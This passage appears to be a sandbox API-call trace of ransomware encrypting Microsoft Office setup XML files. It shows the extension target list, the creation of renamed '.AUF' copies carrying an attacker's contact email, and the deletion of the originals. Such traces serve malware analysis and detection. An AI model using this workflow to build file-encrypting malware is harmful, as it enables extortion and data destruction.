[0209.880] lstrlenW (lpString=".ppt") returned 4 [0209.880] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString=".zip") returned 4 [0209.880] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.880] lstrlenW (lpString=".rar") returned 4 [0209.880] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString=".bz2") returned 4 [0209.880] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString=".7z") returned 3 [0209.880] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString=".dbf") returned 4 [0209.880] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString=".1cd") returned 4 [0209.880] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.880] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.880] lstrlenW (lpString=".jpg") returned 4 [0209.880] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString=".doc") returned 4 [0209.881] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString=".docx") returned 5 [0209.881] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0209.881] lstrlenW (lpString=".pdf") returned 4 [0209.881] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString=".xls") returned 4 [0209.881] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString=".xlsx") returned 5 [0209.881] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0209.881] lstrlenW (lpString=".ppt") returned 4 [0209.881] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString=".zip") returned 4 [0209.881] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.881] lstrlenW (lpString=".rar") returned 4 [0209.881] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString=".bz2") returned 4 [0209.881] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString=".7z") returned 3 [0209.881] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString=".dbf") returned 4 [0209.881] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString=".1cd") returned 4 [0209.881] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.881] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML") returned 102 [0209.881] lstrlenW (lpString=".jpg") returned 4 [0209.881] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.881] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.881] lstrlenW (lpString="InfoPathMUI.XML") returned 15 [0209.881] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.882] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1231) returned 1 [0209.882] CloseHandle (hObject=0x1f8) returned 1 [0209.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 0x20 [0209.882] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.882] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.882] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.882] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.884] GetLastError () returned 0x0 [0209.885] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x4cf, lpOverlapped=0x0) returned 1 [0209.893] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x4d0, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x4d0, lpOverlapped=0x0) returned 1 [0209.894] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0209.894] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf2, lpOverlapped=0x0) returned 1 [0209.894] SetEndOfFile (hFile=0x1fc) returned 1 [0209.894] CloseHandle (hObject=0x1fc) returned 1 [0209.894] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.894] SetEndOfFile (hFile=0x1f8) returned 1 [0209.895] CloseHandle (hObject=0x1f8) returned 1 [0209.895] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0209.895] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\infopathmui.xml")) returned 1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".doc") returned 4 [0209.896] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".docx") returned 5 [0209.896] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.896] lstrlenW (lpString=".pdf") returned 4 [0209.896] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".xls") returned 4 [0209.896] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".xlsx") returned 5 [0209.896] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.896] lstrlenW (lpString=".ppt") returned 4 [0209.896] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".zip") returned 4 [0209.896] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.896] lstrlenW (lpString=".rar") returned 4 [0209.896] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".bz2") returned 4 [0209.896] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".7z") returned 3 [0209.896] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".dbf") returned 4 [0209.896] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".1cd") returned 4 [0209.896] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".jpg") returned 4 [0209.896] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.896] lstrlenW (lpString=".doc") returned 4 [0209.896] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".docx") returned 5 [0209.896] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0209.896] lstrlenW (lpString=".pdf") returned 4 [0209.896] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".xls") returned 4 [0209.896] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString=".xlsx") returned 5 [0209.896] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0209.896] lstrlenW (lpString=".ppt") returned 4 [0209.896] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0209.896] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.897] lstrlenW (lpString=".zip") returned 4 [0209.897] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0209.897] lstrlenW (lpString=".rar") returned 4 [0209.897] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0209.897] lstrlenW (lpString=".bz2") returned 4 [0209.897] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0209.897] lstrlenW (lpString=".7z") returned 3 [0209.897] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0209.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.897] lstrlenW (lpString=".dbf") returned 4 [0209.897] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0209.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.897] lstrlenW (lpString=".1cd") returned 4 [0209.897] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0209.897] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\InfoPathMUI.XML") returned 110 [0209.897] lstrlenW (lpString=".jpg") returned 4 [0209.897] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0209.897] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0209.897] lstrlenW (lpString="SETUP.XML") returned 9 [0209.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.897] GetFileSizeEx (in: hFile=0x1f8, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=1852) returned 1 [0209.897] CloseHandle (hObject=0x1f8) returned 1 [0209.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 0x20 [0209.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0209.897] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0209.898] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.898] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0209.898] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0209.898] GetLastError () returned 0x0 [0209.898] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x73c, lpOverlapped=0x0) returned 1 [0210.273] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x740, lpOverlapped=0x0) returned 1 [0210.274] ReadFile (in: hFile=0x1f8, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.274] WriteFile (in: hFile=0x1fc, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0210.274] SetEndOfFile (hFile=0x1fc) returned 1 [0210.274] CloseHandle (hObject=0x1fc) returned 1 [0210.275] SetFilePointerEx (in: hFile=0x1f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.275] SetEndOfFile (hFile=0x1f8) returned 1 [0210.275] CloseHandle (hObject=0x1f8) returned 1 [0210.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0210.276] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\infopath.en-us\\setup.xml")) returned 1 [0210.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.276] lstrlenW (lpString=".doc") returned 4 [0210.276] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.276] lstrlenW (lpString=".docx") returned 5 [0210.276] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.276] lstrlenW (lpString=".pdf") returned 4 [0210.276] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.276] lstrlenW (lpString=".xls") returned 4 [0210.276] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.276] lstrlenW (lpString=".xlsx") returned 5 [0210.276] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.276] lstrlenW (lpString=".ppt") returned 4 [0210.276] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.276] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.276] lstrlenW (lpString=".zip") returned 4 [0210.276] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.276] lstrlenW (lpString=".rar") returned 4 [0210.276] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.276] lstrlenW (lpString=".bz2") returned 4 [0210.277] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".7z") returned 3 [0210.277] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString=".dbf") returned 4 [0210.277] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString=".1cd") returned 4 [0210.277] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString=".jpg") returned 4 [0210.277] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString=".doc") returned 4 [0210.277] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".docx") returned 5 [0210.277] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0210.277] lstrlenW (lpString=".pdf") returned 4 [0210.277] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".xls") returned 4 [0210.277] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".xlsx") returned 5 [0210.277] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0210.277] lstrlenW (lpString=".ppt") returned 4 [0210.277] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.277] lstrlenW (lpString=".zip") returned 4 [0210.277] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0210.277] lstrlenW (lpString=".rar") returned 4 [0210.277] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".bz2") returned 4 [0210.277] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0210.277] lstrlenW (lpString=".7z") returned 3 [0210.277] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0210.277] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.278] lstrlenW (lpString=".dbf") returned 4 [0210.278] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0210.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.278] lstrlenW (lpString=".1cd") returned 4 [0210.278] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0210.278] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0210.278] lstrlenW (lpString=".jpg") returned 4 [0210.278] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0210.278] lstrcmpiW (lpString1=".XML", lpString2=".AUF") returned 1 [0210.278] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0210.278] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0210.513] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2d1ff1c | out: lpFileSize=0x2d1ff1c*=819) returned 1 [0210.513] CloseHandle (hObject=0x1ec) returned 1 [0210.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0210.513] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0210.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0210.513] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.513] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d1fec8 | out: lpNewFilePointer=0x0) returned 1 [0210.513] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0210.513] GetLastError () returned 0x0 [0210.513] ReadFile (in: hFile=0x1ec, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x333, lpOverlapped=0x0) returned 1 [0210.769] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0x340, lpOverlapped=0x0) returned 1 [0210.770] ReadFile (in: hFile=0x1ec, lpBuffer=0x3800020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d1fed4, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesRead=0x2d1fed4*=0x0, lpOverlapped=0x0) returned 1 [0210.770] WriteFile (in: hFile=0x184, lpBuffer=0x3800020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2d1fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3800020*, lpNumberOfBytesWritten=0x2d1fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0210.770] SetEndOfFile (hFile=0x184) returned 1 [0210.770] CloseHandle (hObject=0x184) returned 1 [0210.770] 